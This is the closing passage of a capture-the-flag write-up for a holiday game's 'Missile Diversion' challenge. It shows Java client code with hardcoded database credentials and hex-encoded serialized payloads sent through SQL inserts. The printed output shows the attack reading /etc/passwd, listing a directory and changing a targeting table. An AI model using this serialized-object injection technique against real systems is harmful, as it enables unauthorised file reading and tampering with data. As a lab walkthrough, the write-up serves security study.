String userInput = scanner.nextLine().trim();
// Process user choice
String serHex = null;
if (userInput.startsWith("/")) {
SatelliteQueryFileFolderUtility utilityPath = new SatelliteQueryFileFolderUtility(
userInput,
false,
false
);
serHex = serializeObject(utilityPath, "output.ser");
} else if (userInput.toUpperCase().startsWith("SELECT")) {
SatelliteQueryFileFolderUtility utilitySelect = new SatelliteQueryFileFolderUtility(
userInput,
true,
false
);
serHex = serializeObject(utilitySelect, "output.ser");
} else if (userInput.toUpperCase().startsWith("UPDATE")) {
SatelliteQueryFileFolderUtility utilityUpdate = new SatelliteQueryFileFolderUtility(
userInput,
true,
true
);
serHex = serializeObject(utilityUpdate, "output.ser");
} else {
System.out.println(
"Invalid input. Please enter a path, SELECT query, or UPDATE query."
);
continue;
}
// Check if serialization was successful
if (serHex != null) {
String jdbcUrl =
"jdbc:mariadb://10.1.1.1:3306/missile_targeting_system?allowMultiQueries=true";
String username = "targeter";
String password = "cu3xmzp9tzpi00bdqvxq";
insertDataIntoDatabase(jdbcUrl, username, password, serHex);
// Wait for results
System.out.println("Waiting for results ...");
try {
Thread.sleep(1000); // 1 seconds
} catch (InterruptedException e) {
System.err.println("Error during sleep: " + e.getMessage());
}
// Query the database after 10 seconds
String lastEntryResults = queryLastEntryResultsColumn(
jdbcUrl,
username,
password
);
System.out.println("Results:\n" + lastEntryResults);
}
}
}
}
We can compile the Java code to a Java class and then package it in a JAR file using Maven that will have all of our dependencies in it to run. From this point, it was a lot easier generating payloads and sending it to the target.
I could dump /etc/passwd
...
Enter your input: /etc/passwd
Serialized payload (hex): ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C69747912D4F68D0EB392CB0200035A0007697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537472696E673B7870000074000B2F6574632F706173737764
Data inserted into the database.
Waiting for results ...
Results:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
I could directory list /opt/
...
Enter your input: /opt/
Serialized payload (hex): ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C69747912D4F68D0EB392CB0200035A0007697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537472696E673B787000007400052F6F70742F
Data inserted into the database.
Waiting for results ...
Results:
F: example.txt
F: SatelliteQueryFileFolderUtility.java
D: java
I then updated the pointing_mode
to 1
within the missile_targeting_system
database to point to targeting system at the Sun instead of Earth!
Enter your input: UPDATE missile_targeting_system.pointing_mode SET numerical_mode = 1;
Serialized payload (hex): ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C69747912D4F68D0EB392CB0200035A0007697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537472696E673B78700101740045555044415445206D697373696C655F746172676574696E675F73797374656D2E706F696E74696E675F6D6F646520534554206E756D65726963616C5F6D6F6465203D20313B
Data inserted into the database.
Waiting for results ...
Results:
SQL Update completed.
With that we diverted the missile successfully!
Achievement
Congratulations! You have completed the Missile Diversion challenge!
Having successfully diverted the missile, Wombley Cube expressed genuine remorse. Now, standing at the threshold of the last door, we are poised for the ultimate victory.
When we click on the door ... we see Jack in the satellite:
The missile is fired at Geeze Islands!
The missile is then redirected to the sun and Jack escapes in the escape pod!
The missile disintegrated into the sun!
Lets conclude our adventure at the Resort Lobby of Christmas Island for the big surprise!